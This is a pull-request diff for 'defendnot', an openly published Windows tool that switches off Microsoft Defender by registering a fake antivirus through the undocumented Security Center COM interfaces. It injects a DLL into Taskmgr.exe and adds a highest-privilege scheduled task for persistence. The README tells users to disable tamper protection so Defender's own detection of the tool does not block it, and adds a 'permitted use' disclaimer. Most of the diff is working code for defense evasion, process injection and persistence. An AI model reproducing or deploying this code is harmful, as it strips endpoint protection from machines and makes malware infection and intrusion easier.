Merge pull request #33 from es3n1n/bump-1-3-0

build: bump version

README.md

@@ -4,10 +4,22 @@ An even funnier way to disable windows defender.
 
 Defendnot is a successor of [no-defender](https://github.com/es3n1n/no-defender).
 
-![](https://i.imgur.com/VGE8g6a.jpeg)
+![](https://i.imgur.com/F9gWA92.png)
+
+> [!CAUTION]
+> **Permitted Use Notice**: 
+> 
+> Using this tool to facilitate malware distribution, cybercrime, unauthorized access, evading detection, or any illegal activity is strictly prohibited.
+> 
+> Users assume all legal responsibility for how they use this tool and any consequences thereof. You must comply with all applicable local, state, federal, and international laws when using this tool.
+> 
+> By downloading, installing, or using this tool, you acknowledge that you have read, understood, and agree to these terms.
 
 ## Installation
 
+> [!TIP]
+> You may need to temporarily disable realtime and tamper protection before proceeding, otherwise defender will block `defendnot` binaries due to the `VirTool:Win64/Defnot.A` detection. 
+
 ### One-liner
 
 Open the powershell as administrator and execute any of these:
@@ -41,7 +53,7 @@ Usage: defendnot-loader [--help] [--version] [--name VAR] [--disable] [--verbose
 Optional arguments:
   -h, --help         prints help message and exits
   --version          shows version and exits
-  -n, --name         av display name [default: "https://github.com/es3n1n/defendnot"]
+  -n, --name         av display name [default: "dnot.sh"]
   -d, --disable      disable defendnot
   -v, --verbose      verbose logging
   --silent           do not allocate console
@@ -54,11 +66,28 @@ Optional arguments:
 There's a WSC (Windows Security Center) service in Windows which is used by antiviruses to let Windows know that there's some other antivirus in the hood and it should disable Windows Defender.  
 This WSC API is undocumented and furthermore requires people to sign an NDA with Microsoft to get its documentation.
 
-The initial implementation of [no-defender](https://github.com/es3n1n/no-defender) used thirdparty code provided by other AVs to register itself in the WSC, while defendnot interacts with WSC directly.
+The initial implementation of [no-defender](https://github.com/es3n1n/no-defender) used thirdparty code provided by other AVs to register itself in the WSC, while `defendnot` interacts with WSC directly.
 
 ## Limitations
 
-Sadly, to keep this WSC stuff even after reboot, defendnot adds itself to the autorun. Thus, you would need to keep the defendnot binaries on your disk :(
+- **Needs to stay on disk:**  
+  To keep the AV registration persistent after reboot, `defendnot` adds itself to autorun. That means the binaries have to remain on your system for the Defender "disable" to stick. (Yeah, I wish it were more elegant too.)
+  
+- **No support for Windows Server:**  
+  The Windows Security Center (WSC) service doesn’t exist on Windows Server editions, so `defendnot` *won’t* work there. See [#17](https://github.com/es3n1n/defendnot/issues/17).
+
+- **Defender Detection:**  
+  Not surprisingly, Windows Defender really doesn’t like `defendnot` and will flag or remove it as `VirTool:Win64/Defnot.A`. You’ll need to (temporarily) disable Defender’s real-time and tamper protection to install.
+
+## Legitimate Use Cases
+
+- Reducing resource consumption in development environments
+- Testing system performance under different security configurations
+- Educational research on Windows security mechanisms
+- Home lab experimentation and learning
+
+> [!IMPORTANT]
+> If your intended usage falls outside these legitimate use cases, support in issues/DMs might be denied without any further explanations.
 
 ## Writeup
 

cxx-shared/cxx-shared.vcxitems

@@ -14,10 +14,11 @@
     <ProjectCapability Include="SourceItemsFromImports" />
   </ItemGroup>
   <ItemGroup>
+    <ClInclude Include="$(MSBuildThisFileDirectory)shared\com.hpp" />
     <ClInclude Include="$(MSBuildThisFileDirectory)shared\ctx.hpp" />
     <ClInclude Include="$(MSBuildThisFileDirectory)shared\defer.hpp" />
     <ClInclude Include="$(MSBuildThisFileDirectory)shared\ipc.hpp" />
-    <ClInclude Include="$(MSBuildThisFileDirectory)shared\names.hpp" />
+    <ClInclude Include="$(MSBuildThisFileDirectory)shared\strings.hpp" />
     <ClInclude Include="$(MSBuildThisFileDirectory)shared\native.hpp" />
     <ClInclude Include="$(MSBuildThisFileDirectory)shared\util.hpp" />
   </ItemGroup>

cxx-shared/shared/com.hpp

@@ -0,0 +1,121 @@
+#pragma once
+#include <Windows.h>
+
+#include "shared/strings.hpp"
+
+#include <cstdint>
+#include <format>
+#include <print>
+#include <source_location>
+#include <stdexcept>
+
+namespace com {
+    inline HRESULT checked(HRESULT result, const std::source_location loc = std::source_location::current()) {
+        if (result == 0) {
+            return result;
+        }
+
+        auto msg = std::format("Got HRESULT={:#x} at\n{}:{}", static_cast<std::uint32_t>(result) & 0xFFFFFFFF, loc.function_name(), loc.line());
+        throw std::runtime_error(msg);
+    }
+
+    template <typename Callable>
+    inline HRESULT retry_while_pending(Callable&& fn) {
+        bool delayed = false;
+        HRESULT status = 0;
+        do {
+            if (status != 0) {
+                delayed = true;
+                std::println("delaying for com retry...");
+                std::this_thread::sleep_for(std::chrono::milliseconds(500));
+            }
+
+            status = fn();
+        } while (status == E_PENDING);
+
+        return status;
+    }
+
+    /// A very basic implementation, a lot of stuff is missing
+    template <typename Ty>
+    class Ptr {
+    public:
+        Ptr() = default;
+        explicit Ptr(Ty* ptr): ptr_(ptr) { }
+
+        ~Ptr() {
+            release();
+        }
+
+        /// No copying
+        Ptr(const Ptr&) = delete;
+        Ptr& operator=(const Ptr&) = delete;
+
+        /// Move
+        Ptr(Ptr&& other) noexcept: ptr_(other.ptr_) {
+            other.ptr_ = nullptr;
+        }
+        Ptr& operator=(Ptr&& other) noexcept {
+            if (this != &other) {
+                release();
+                ptr_ = other.ptr_;
+                other.ptr_ = nullptr;
+            }
+            return *this;
+        }
+
+    public:
+        [[nodiscard]] Ty* get() const {
+            return ptr_;
+        }
+
+        [[nodiscard]] Ty* operator->() const {
+            return ptr_;
+        }
+
+        [[nodiscard]] Ty** ref_to_ptr() {
+            return &ptr_;
+        }
+
+    private:
+        void release() {
+            if (ptr_ != nullptr) {
+                ptr_->Release();
+            }
+        }
+
+        Ty* ptr_ = nullptr;
+    };
+
+    template <GUID ClsId, GUID IID>
+    class IBaseObject {
+    public:
+        static constexpr GUID kClsId = ClsId;
+        static constexpr GUID kIID = IID;
+
+    private:
+        virtual HRESULT QueryInterface() = 0;
+        virtual std::uint32_t AddRef() = 0;
+
+    public:
+        virtual std::uint32_t Release() = 0;
+    };
+
+    template <typename Ty>
+    concept ComObject = requires {
+        Ty::kClsId;
+        Ty::kIID;
+    };
+
+    template <ComObject Ty>
+    [[nodiscard]] Ptr<Ty> query() {
+        Ptr<Ty> result;
+        const auto status = CoCreateInstance(Ty::kClsId, 0, 1, Ty::kIID, reinterpret_cast<LPVOID*>(result.ref_to_ptr()));
+        if (status == REGDB_E_CLASSNOTREG) {
+            throw std::runtime_error(strings::wsc_unavailable_error().data());
+        }
+
+        checked(status);
+        return result;
+    }
+} // namespace com

cxx-shared/shared/names.hpp

@@ -1,12 +0,0 @@
-#pragma once
-#include <string_view>
-
-namespace names {
-    constexpr std::string_view kProjectName = "defendnot";
-    constexpr std::string_view kRepoUrl = "https://github.com/es3n1n/defendnot";
-
-    constexpr std::string_view kVictimProcess = "Taskmgr.exe";
-    constexpr std::string_view kDllName = "defendnot.dll";
-
-    constexpr std::string_view kVersion = "1.2.0";
-} // namespace names

cxx-shared/shared/native.hpp

@@ -23,7 +23,7 @@ namespace native {
 
         auto function = reinterpret_cast<Ty>(GetProcAddress(mod, function_name.data()));
         if (function == nullptr) {
-            throw std::runtime_error(std::format("unable to obtain {} from {}", module_name, function_name));
+            throw std::runtime_error(std::format("unable to obtain {} from {}", function_name, module_name));
         }
         return function;
     }

cxx-shared/shared/strings.hpp

@@ -0,0 +1,30 @@
+#pragma once
+#include "shared/util.hpp"
+#include <string_view>
+
+namespace strings {
+    constexpr std::string_view kProjectName = "defendnot";
+    constexpr std::string_view kRepoUrl = "https://github.com/es3n1n/defendnot";
+    constexpr std::string_view kVersion = "1.3.0";
+
+    constexpr std::string_view kDefaultAVName = "dnot.sh";
+
+    constexpr std::string_view kVictimProcess = "Taskmgr.exe";
+    constexpr std::string_view kDllName = "defendnot.dll";
+
+    constexpr std::string_view kWSCUnavailableError = /// !winserver
+        "Windows Security Center (WSC) is not available on this machine.\n"
+        "For more details, please refer to: https://github.com/es3n1n/defendnot/issues/25";
+
+    constexpr std::string_view kWSCUnavailableErrorWinServer = /// winserver
+        "Windows Security Center (WSC) is not available on this machine.\n"
+        "This typically occurs on Windows Server operating systems, which are not supported by this tool.\n"
+        "For more details, please refer to: https://github.com/es3n1n/defendnot/issues/17";
+
+    inline std::string_view wsc_unavailable_error() noexcept {
+        if (shared::is_winserver()) {
+            return kWSCUnavailableErrorWinServer;
+        }
+        return kWSCUnavailableError;
+    }
+} // namespace strings

cxx-shared/shared/util.hpp

@@ -27,4 +27,10 @@ namespace shared {
             freopen_s(reinterpret_cast<FILE**>(stderr), "CONOUT$", "w", stderr);
         });
     }
+
+    inline bool is_winserver() {
+        OSVERSIONINFOEXW osvi = {sizeof(osvi), 0, 0, 0, 0, {0}, 0, 0, 0, VER_NT_WORKSTATION};
+        const auto cond_mask = VerSetConditionMask(0, VER_PRODUCT_TYPE, VER_EQUAL);
+        return !VerifyVersionInfoW(&osvi, VER_PRODUCT_TYPE, cond_mask);
+    }
 } // namespace shared

defendnot-loader/core/autorun.cpp

@@ -1,7 +1,8 @@
 #include "core/core.hpp"
 
+#include "shared/com.hpp"
 #include "shared/ctx.hpp"
-#include "shared/names.hpp"
+#include "shared/strings.hpp"
 
 #include <memory>
 #include <print>
@@ -17,39 +18,7 @@
 
 namespace loader {
     namespace {
-        constexpr std::string_view kTaskName = names::kProjectName;
+        constexpr std::string_view kTaskName = strings::kProjectName;
-
-        /// A very basic implementation, a lot of stuff is missing
-        template <typename Ty>
-        class ComPtr {
-        public:
-            ComPtr() = default;
-            explicit ComPtr(Ty* ptr): ptr_(ptr) { }
-
-            ~ComPtr() {
-                if (ptr_ != nullptr) {
-                    ptr_->Release();
-                }
-            }
-
-            ComPtr(const ComPtr&) = delete;
-            ComPtr& operator=(const ComPtr&) = delete;
-
-            [[nodiscard]] Ty* get() const {
-                return ptr_;
-            }
-
-            [[nodiscard]] Ty* operator->() const {
-                return ptr_;
-            }
-
-            [[nodiscard]] Ty** ref_to_ptr() {
-                return &ptr_;
-            }
-
-        private:
-            Ty* ptr_ = nullptr;
-        };
 
         void co_initialize() {
             static std::once_flag fl;
@@ -66,7 +35,7 @@ namespace loader {
         [[nodiscard]] bool with_service(Callable&& callback) {
             co_initialize();
 
-            ComPtr<ITaskService> service;
+            com::Ptr<ITaskService> service;
             auto hr =
                 CoCreateInstance(CLSID_TaskScheduler, nullptr, CLSCTX_INPROC_SERVER, IID_ITaskService, reinterpret_cast<void**>(service.ref_to_ptr()));
             if (FAILED(hr)) {
@@ -78,7 +47,7 @@ namespace loader {
                 return false;
             }
 
-            ComPtr<ITaskFolder> root_folder;
+            com::Ptr<ITaskFolder> root_folder;
             hr = service->GetFolder(BSTR(L"\\"), root_folder.ref_to_ptr());
             if (FAILED(hr)) {
                 return false;
@@ -104,55 +73,55 @@ namespace loader {
                 user_id = bstr_sys;
             }
 
-            ComPtr<ITaskDefinition> task;
+            com::Ptr<ITaskDefinition> task;
             auto hr = service->NewTask(0, task.ref_to_ptr());
             if (FAILED(hr)) {
                 return false;
             }
 
-            ComPtr<IRegistrationInfo> reg_info;
+            com::Ptr<IRegistrationInfo> reg_info;
             hr = task->get_RegistrationInfo(reg_info.ref_to_ptr());
             if (FAILED(hr)) {
                 return false;
             }
 
-            ComPtr<IPrincipal> principal;
+            com::Ptr<IPrincipal> principal;
             hr = task->get_Principal(principal.ref_to_ptr());
             if (FAILED(hr)) {
                 return false;
             }
 
-            ComPtr<ITriggerCollection> trigger_collection;
+            com::Ptr<ITriggerCollection> trigger_collection;
             hr = task->get_Triggers(trigger_collection.ref_to_ptr());
             if (FAILED(hr)) {
                 return false;
             }
 
-            ComPtr<ITrigger> trigger;
+            com::Ptr<ITrigger> trigger;
             hr = trigger_collection->Create(task_trigger, trigger.ref_to_ptr());
             if (FAILED(hr)) {
                 return false;
             }
 
-            ComPtr<IActionCollection> action_collection;
+            com::Ptr<IActionCollection> action_collection;
             hr = task->get_Actions(action_collection.ref_to_ptr());
             if (FAILED(hr)) {
                 return false;
             }
 
-            ComPtr<IAction> action;
+            com::Ptr<IAction> action;
             hr = action_collection->Create(TASK_ACTION_EXEC, action.ref_to_ptr());
             if (FAILED(hr)) {
                 return false;
             }
 
-            ComPtr<IExecAction> exec_action;
+            com::Ptr<IExecAction> exec_action;
             hr = action->QueryInterface(IID_IExecAction, reinterpret_cast<void**>(exec_action.ref_to_ptr()));
             if (FAILED(hr)) {
                 return false;
             }
 
-            ComPtr<ITaskSettings> settings;
+            com::Ptr<ITaskSettings> settings;
             hr = task->get_Settings(settings.ref_to_ptr());
             if (FAILED(hr)) {
                 return false;
@@ -164,7 +133,7 @@ namespace loader {
             principal->put_RunLevel(TASK_RUNLEVEL_HIGHEST);
 
             /// Info
-            reg_info->put_Author(bstr_t(names::kRepoUrl.data()));
+            reg_info->put_Author(bstr_t(strings::kRepoUrl.data()));
 
             /// Start even if we're on batteries
             settings->put_DisallowStartIfOnBatteries(VARIANT_FALSE);
@@ -175,7 +144,7 @@ namespace loader {
             exec_action->put_Arguments(bstr_t("--from-autorun"));
 
             /// Register the task and we are done
-            ComPtr<IRegisteredTask> registered_task;
+            com::Ptr<IRegisteredTask> registered_task;
             hr = folder->RegisterTaskDefinition(bstr_t(kTaskName.data()), task.get(), TASK_CREATE_OR_UPDATE, VARIANT{}, VARIANT{}, TASK_LOGON_NONE,
                                                 variant_t(L""), registered_task.ref_to_ptr());
             return SUCCEEDED(hr);

defendnot-loader/core/core.hpp

@@ -24,4 +24,5 @@ namespace loader {
     [[nodiscard]] HANDLE inject(std::string_view dll_path, std::string_view proc_name);
     [[nodiscard]] bool add_to_autorun(AutorunType type);
     [[nodiscard]] bool remove_from_autorun();
+    void ensure_environment();
 } // namespace loader

defendnot-loader/core/ensure_environment.cpp

@@ -0,0 +1,47 @@
+#include "core/core.hpp"
+#include "shared/strings.hpp"
+#include "util/scm.hpp"
+
+#include <format>
+#include <print>
+#include <stdexcept>
+
+namespace loader {
+    void ensure_environment() {
+        auto manager = scm::Manager();
+        if (!manager.valid()) [[unlikely]] {
+            throw std::runtime_error("Unable to open scm::Manager");
+        }
+
+        auto service = manager.get_service(L"wscsvc");
+        if (!service.valid() || !service.query_status()) {
+            throw std::runtime_error(std::format("{}\nOpen error: {}", strings::wsc_unavailable_error().data(), GetLastError()));
+        }
+
+        if (service.state() == scm::ServiceState::RUNNING) {
+            /// Wsc service has been already started, no need to start it ourselves
+            return;
+        }
+
+        /// Let's start the service ourselves
+        std::println("** wscsvc is not running, starting it..");
+        if (!service.start()) {
+            throw std::runtime_error(std::format("{}\nTried to start the service, but go an error: {}", strings::wsc_unavailable_error(), GetLastError()));
+        }
+
+        std::println("** successfully started the service, waiting for it to get up..");
+        while (true) {
+            if (!service.query_status(/*force=*/true)) {
+                throw std::runtime_error(
+                    std::format("{}\nStarted the service, got an error while querying: {}", strings::wsc_unavailable_error(), GetLastError()));
+            }
+
+            if (const auto state = service.state(); state == scm::ServiceState::RUNNING) {
+                std::println("** we are good to go");
+                return;
+            }
+
+            std::this_thread::sleep_for(std::chrono::milliseconds(500));
+        }
+    }
+} // namespace loader

defendnot-loader/defendnot-loader.vcxproj

@@ -250,11 +250,13 @@
   </ItemDefinitionGroup>
   <ItemGroup>
     <ClCompile Include="core\autorun.cpp" />
+    <ClCompile Include="core\ensure_environment.cpp" />
     <ClCompile Include="core\inject.cpp" />
     <ClCompile Include="main.cpp" />
   </ItemGroup>
   <ItemGroup>
     <ClInclude Include="core\core.hpp" />
+    <ClInclude Include="util\scm.hpp" />
   </ItemGroup>
   <Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
   <ImportGroup Label="ExtensionTargets">

defendnot-loader/defendnot-loader.vcxproj.filters

@@ -24,10 +24,16 @@
     <ClCompile Include="core\autorun.cpp">
       <Filter>Source Files</Filter>
     </ClCompile>
+    <ClCompile Include="core\ensure_environment.cpp">
+      <Filter>Source Files</Filter>
+    </ClCompile>
   </ItemGroup>
   <ItemGroup>
     <ClInclude Include="core\core.hpp">
       <Filter>Header Files</Filter>
     </ClInclude>
+    <ClInclude Include="util\scm.hpp">
+      <Filter>Header Files</Filter>
+    </ClInclude>
   </ItemGroup>
 </Project>

defendnot-loader/main.cpp

@@ -2,7 +2,7 @@
 #include "shared/ctx.hpp"
 #include "shared/defer.hpp"
 #include "shared/ipc.hpp"
-#include "shared/names.hpp"
+#include "shared/strings.hpp"
 #include <argparse/argparse.hpp>
 
 #include <format>
@@ -38,12 +38,12 @@ namespace {
         std::println("** loading defendnot");
 
         auto dll_path = shared::get_this_module_path().parent_path();
-        dll_path /= names::kDllName;
+        dll_path /= strings::kDllName;
         if (!std::filesystem::exists(dll_path)) {
-            throw std::runtime_error(std::format("{} does not exist!", names::kDllName));
+            throw std::runtime_error(std::format("{} does not exist!", strings::kDllName));
         }
 
-        return loader::inject(dll_path.string(), names::kVictimProcess);
+        return loader::inject(dll_path.string(), strings::kVictimProcess);
     }
 
     void wait_for_finish(shared::InterProcessCommunication& ipc) {
@@ -65,8 +65,8 @@ namespace {
 
     void banner(const loader::Config& config) {
         std::println();
-        std::println("thanks for using {}", names::kProjectName);
+        std::println("thanks for using {}", strings::kProjectName);
-        std::println("please don't forget to leave a star at {}", names::kRepoUrl);
+        std::println("please don't forget to leave a star at {}", strings::kRepoUrl);
 
         if (!config.from_autorun && config.alloc_console) {
             system("pause");
@@ -75,7 +75,7 @@ namespace {
 } // namespace
 
 int main(int argc, char* argv[]) try {
-    argparse::ArgumentParser program(std::format("{}-loader", names::kProjectName), names::kVersion.data(), argparse::default_arguments::none);
+    argparse::ArgumentParser program(std::format("{}-loader", strings::kProjectName), strings::kVersion.data(), argparse::default_arguments::none);
 
     const auto fatal_print = [](const std::string_view str) -> void {
         shared::alloc_console();
@@ -94,11 +94,11 @@ int main(int argc, char* argv[]) try {
         .help("shows version and exits")
         .default_value(false)
         .implicit_value(true)
-        .action([&fatal_print](const auto& /*unused*/) -> void { fatal_print(std::format("{}-loader v{}", names::kProjectName, names::kVersion)); });
+        .action([&fatal_print](const auto& /*unused*/) -> void { fatal_print(std::format("{}-loader v{}", strings::kProjectName, strings::kVersion)); });
 
     /// defendnot-loader parameters:
-    program.add_argument("-n", "--name").help("av display name").default_value(std::string(names::kRepoUrl)).nargs(1);
+    program.add_argument("-n", "--name").help("av display name").default_value(std::string(strings::kDefaultAVName)).nargs(1);
-    program.add_argument("-d", "--disable").help(std::format("disable {}", names::kProjectName)).default_value(false).implicit_value(true);
+    program.add_argument("-d", "--disable").help(std::format("disable {}", strings::kProjectName)).default_value(false).implicit_value(true);
     program.add_argument("-v", "--verbose").help("verbose logging").default_value(false).implicit_value(true);
     program.add_argument("--silent").help("do not allocate console").default_value(false).implicit_value(true);
     program.add_argument("--autorun-as-user").help("create autorun task as currently logged in user").default_value(false).implicit_value(true);
@@ -127,11 +127,19 @@ int main(int argc, char* argv[]) try {
         .enable_autorun = !program.get<bool>("--disable-autorun"),
     };
 
+    /// When running from autorun, we'll be missing all the cli arguments, so lets load some relevant ones
+    if (config.from_autorun) {
+        shared::ctx.deserialize();
+        config.verbose = shared::ctx.verbose;
+    }
+
     if (!config.alloc_console && config.verbose) {
         fatal_print("--silent flag can not be used in combination with --verbose");
     }
 
     setup_window(config);
+    loader::ensure_environment();
+
     setup_context(config);
 
     /// \todo @es3n1n: move this to a separate function and add move ctor for ipc
@@ -145,11 +153,17 @@ int main(int argc, char* argv[]) try {
     };
 
     wait_for_finish(ipc);
-    process_autorun(config);
+
+    /// Only create autorun task when not running from autorun, no need to recreate it because we're missing some config vars
+    if (!config.from_autorun) {
+        process_autorun(config);
+    }
+
     banner(config);
 
     return EXIT_SUCCESS;
 } catch (std::exception& err) {
+    shared::alloc_console();
     std::println(stderr, "** fatal error: {}", err.what());
     system("pause");
     return EXIT_FAILURE;

defendnot-loader/util/scm.hpp

@@ -0,0 +1,120 @@
+#pragma once
+#include <array>
+#include <memory>
+#include <optional>
+#include <string_view>
+#include <Windows.h>
+
+namespace scm {
+    using SCHandleRaw = SC_HANDLE;
+    using SCHandle = std::unique_ptr<std::remove_pointer_t<SCHandleRaw>, decltype(&CloseServiceHandle)>;
+
+    inline SCHandle make_sc_handle(SCHandleRaw handle) {
+        return SCHandle(handle, CloseServiceHandle);
+    }
+
+    enum class ServiceState : std::uint8_t {
+        UNKNOWN = 0,
+        STOPPED,
+        STOP_PENDING,
+        START_PENDIND,
+        RUNNING,
+        PAUSED,
+        PAUSE_PENDING,
+        CONTINUE_PENDING,
+    };
+    /// \note @es3n1n: we should use magic_enum once we have more than one enum where we need to get value name
+    constexpr auto kServiceStateNames =
+        std::to_array<std::string_view>({"UNKNOWN", "STOPPED", "STOP_PENDING", "START_PENDING", "RUNNING", "PAUSED", "PAUSE_PENDING", "CONTINUE_PENDING"});
+
+    class Service {
+    public:
+        Service(SCHandleRaw handle): handle_(make_sc_handle(handle)) { };
+        ~Service() = default;
+
+    public:
+        bool query_status(bool force = false) noexcept {
+            if (!force && status_process_.has_value()) {
+                return true;
+            }
+
+            SERVICE_STATUS_PROCESS status;
+            DWORD needed = 0;
+            if (!QueryServiceStatusEx(handle_.get(), SC_STATUS_PROCESS_INFO, reinterpret_cast<PBYTE>(&status), sizeof(status), &needed)) {
+                return false;
+            }
+
+            status_process_ = status;
+            return true;
+        }
+
+        [[nodiscard]] ServiceState state() noexcept {
+            if (!query_status() || !status_process_.has_value()) {
+                return ServiceState::UNKNOWN;
+            }
+
+            switch (status_process_->dwCurrentState) {
+            case SERVICE_STOPPED:
+                return ServiceState::STOPPED;
+            case SERVICE_STOP_PENDING:
+                return ServiceState::STOP_PENDING;
+            case SERVICE_START_PENDING:
+                return ServiceState::START_PENDIND;
+            case SERVICE_RUNNING:
+                return ServiceState::RUNNING;
+            case SERVICE_PAUSED:
+                return ServiceState::PAUSED;
+            case SERVICE_PAUSE_PENDING:
+                return ServiceState::PAUSE_PENDING;
+            case SERVICE_CONTINUE_PENDING:
+                return ServiceState::CONTINUE_PENDING;
+            default:
+                return ServiceState::UNKNOWN;
+            }
+        }
+
+        bool start() noexcept {
+            return StartServiceW(handle_.get(), 0, nullptr) || //
+                   GetLastError() == ERROR_SERVICE_ALREADY_RUNNING;
+        }
+
+    public:
+        [[nodiscard]] bool valid() const noexcept {
+            return handle_.get() != nullptr;
+        }
+
+        [[nodiscard]] explicit operator bool() const noexcept {
+            return valid();
+        }
+
+    private:
+        std::optional<SERVICE_STATUS_PROCESS> status_process_ = std::nullopt;
+        SCHandle handle_;
+    };
+
+    class Manager {
+        constexpr static auto kDesiredAccess = GENERIC_READ;
+        constexpr static auto kServiceDesiredAccess = SERVICE_QUERY_STATUS | SERVICE_START;
+
+    public:
+        Manager(): handle_(make_sc_handle(OpenSCManagerW(nullptr, nullptr, kDesiredAccess))) { };
+        ~Manager() = default;
+
+    public:
+        [[nodiscard]] Service get_service(const std::wstring_view service_name) noexcept {
+            return Service(OpenServiceW(handle_.get(), service_name.data(), kServiceDesiredAccess));
+        }
+
+    public:
+        [[nodiscard]] bool valid() const noexcept {
+            return handle_.get() != nullptr;
+        }
+
+        [[nodiscard]] explicit operator bool() const noexcept {
+            return valid();
+        }
+
+    private:
+        SCHandle handle_;
+    };
+} // namespace scm

defendnot/bootstrap/bootstrap.cpp

@@ -7,19 +7,35 @@
 #include <Windows.h>
 
 namespace defendnot {
+    namespace {
+        template <com::ComObject Ty>
+        void apply(const std::string_view log_prefix, const BSTR name) {
+            /// Get the WSC interface
+            auto inst = com::query<Ty>();
+
+            /// This can fail if we dont have any products registered so no com_checked
+            logln("{}_unregister: {:#x}", log_prefix, com::retry_while_pending([&inst]() -> HRESULT { return inst->Unregister(); }) & 0xFFFFFFFF);
+            if (shared::ctx.state == shared::State::OFF) {
+                return;
+            }
+
+            /// Register and activate
+            logln("{}_register: {:#x}", log_prefix, com::checked(inst->Register(name, name, 0, 0)));
+            logln("{}_update: {:#x}", log_prefix, com::checked(inst->UpdateStatus(WSCSecurityProductState::ON, static_cast<BOOL>(true))));
+
+            /// Update the substatuses, if the interface supports this
+            if constexpr (std::is_same_v<Ty, IWscAVStatus4>) {
+                logln("{}_scan_update: {:#x}", log_prefix, com::checked(inst->UpdateScanSubstatus(WSCSecurityProductSubStatus::NO_ACTION)));
+                logln("{}_settings_update: {:#x}", log_prefix, com::checked(inst->UpdateSettingsSubstatus(WSCSecurityProductSubStatus::NO_ACTION)));
+                logln("{}_prot_update: {:#x}", log_prefix, com::checked(inst->UpdateProtectionUpdateSubstatus(WSCSecurityProductSubStatus::NO_ACTION)));
+            }
+        }
+    } // namespace
+
     void startup() {
         /// Setup
         shared::ctx.deserialize();
-        logln("init: {:#x}", com_checked(CoInitialize(nullptr)));
+        logln("init: {:#x}", com::checked(CoInitialize(nullptr)));
-
-        /// Get the main WSC interface we will be dealing with
-        auto inst = IWscAVStatus::get();
-
-        /// This can fail if we dont have any avs registered so no com_checked
-        logln("unregister: {:#x}", com_retry_while_pending([&inst]() -> HRESULT { return inst->Unregister(); }) & 0xFFFFFFFF);
-        if (shared::ctx.state == shared::State::OFF) {
-            return;
-        }
 
         /// WSC will reject the register request if name is empty
         auto name_w = std::wstring(shared::ctx.name.begin(), shared::ctx.name.end());
@@ -33,8 +49,8 @@ namespace defendnot {
             SysFreeString(name);
         };
 
-        /// Register and activate our AV
+        /// Register our stuff in the WSC interfaces
-        logln("register: {:#x}", com_checked(inst->Register(name, name, 0, 0)));
+        apply<IWscASStatus>("IWscASStatus", name);
-        logln("update: {:#x}", com_checked(inst->UpdateStatus(WSCSecurityProductState::ON, 3)));
+        apply<IWscAVStatus4>("IWscAVStatus4", name);
     }
 } // namespace defendnot

defendnot/core/com.hpp

@@ -5,13 +5,23 @@
 #include <thread>
 
 #include "core/log.hpp"
+#include "shared/com.hpp"
+#include "shared/strings.hpp"
 
 #include <Windows.h>
 
 namespace defendnot {
     namespace detail {
-        inline GUID CLSID_IWscAVStatus = {0x0F2102C37, 0x90C3, 0x450C, {0x0B3, 0x0F6, 0x92, 0x0BE, 0x16, 0x93, 0x0BD, 0x0F2}};
+        constexpr GUID CLSID_WscIsv = {0xF2102C37, 0x90C3, 0x450C, {0xB3, 0x0F6, 0x92, 0xBE, 0x16, 0x93, 0xBD, 0xF2}};
-        inline GUID IID_IWscAVStatus = {0x3901A765, 0x0AB91, 0x4BA9, {0xA5, 0x53, 0x5B, 0x85, 0x38, 0xDE, 0xB8, 0x40}};
+
+        constexpr GUID IID_IWscFWStatus = {0x9B8F6C6E, 0x8A4A, 0x4891, {0xAF, 0x63, 0x1A, 0x2F, 0x50, 0x92, 0x40, 0x40}};
+        constexpr GUID IID_IWscFWStatus2 = {0x62F698CB, 0x94A, 0x4C68, {0x94, 0x19, 0x8E, 0x8C, 0x49, 0x42, 0x0E, 0x59}};
+
+        constexpr GUID IID_IWscAVStatus = {0x3901A765, 0xAB91, 0x4BA9, {0xA5, 0x53, 0x5B, 0x85, 0x38, 0xDE, 0xB8, 0x40}};
+        constexpr GUID IID_IWscAVStatus3 = {0xCF007CA2, 0xF5E3, 0x11E5, {0x9C, 0xE9, 0x5E, 0x55, 0x17, 0x50, 0x7C, 0x66}};
+        constexpr GUID IID_IWscAVStatus4 = {0x4DCBAFAC, 0x29BA, 0x46B1, {0x80, 0xFC, 0xB8, 0xBD, 0xE3, 0xC0, 0xAE, 0x4D}};
+
+        constexpr GUID IID_IWscASStatus = {0x24E9756, 0xBA6C, 0x4AD1, {0x83, 0x21, 0x87, 0xBA, 0xE7, 0x8F, 0xD0, 0xE3}};
     } // namespace detail
 
     enum class WSCSecurityProductState : std::uint32_t {
@@ -25,48 +35,14 @@ namespace defendnot {
         NOT_SET = 0,
         NO_ACTION = 1,
         ACTION_RECOMMENDED = 2,
-        ACTION_NEEDED = 3
+        ACTION_NEEDED = 3,
     };
 
-    inline HRESULT com_checked(HRESULT result, const std::source_location loc = std::source_location::current()) {
+    class IWscAVStatus4 : public com::IBaseObject<detail::CLSID_WscIsv, detail::IID_IWscAVStatus4> {
-        if (result == 0) {
-            return result;
-        }
-
-        auto msg = std::format("Got HRESULT={:#x} at\n{}:{}", static_cast<std::uint32_t>(result) & 0xFFFFFFFF, loc.function_name(), loc.line());
-        throw std::runtime_error(msg);
-    }
-
-    template <typename Callable>
-    inline HRESULT com_retry_while_pending(Callable&& fn) {
-        bool delayed = false;
-        HRESULT status = 0;
-        do {
-            if (status != 0) {
-                delayed = true;
-                logln("delaying for com retry...");
-                std::this_thread::sleep_for(std::chrono::seconds(5));
-            }
-
-            status = fn();
-        } while (status == E_PENDING);
-
-        if (delayed) {
-            /// Sleep for additional 15 seconds to let WSC proceed all previous requests
-            std::this_thread::sleep_for(std::chrono::seconds(15));
-        }
-
-        return status;
-    }
-
-    class IWscAVStatus {
     public:
-        virtual HRESULT QueryInterface() = 0;
-        virtual std::uint32_t AddRef() = 0;
-        virtual std::uint32_t Release() = 0;
         virtual HRESULT Register(BSTR path_to_signed_product_exe, BSTR display_name, std::uint32_t, std::uint32_t) = 0;
         virtual HRESULT Unregister() = 0;
-        virtual HRESULT UpdateStatus(WSCSecurityProductState state, std::uint32_t) = 0;
+        virtual HRESULT UpdateStatus(WSCSecurityProductState state, BOOL unk) = 0;
         virtual HRESULT InitiateOfflineCleaning(std::uint16_t*, std::uint16_t*) = 0;
         virtual HRESULT NotifyUserForNearExpiration(std::uint32_t) = 0;
         virtual HRESULT MakeDefaultProductRequest() = 0;
@@ -76,7 +52,7 @@ namespace defendnot {
         virtual HRESULT UpdateProtectionUpdateSubstatus(WSCSecurityProductSubStatus status) = 0;
         virtual HRESULT RegisterAV(std::uint16_t*, std::uint16_t*, std::uint32_t, std::uint32_t) = 0;
         virtual HRESULT UnregisterAV() = 0;
-        virtual HRESULT UpdateStatusAV(WSCSecurityProductState state, std::uint32_t) = 0;
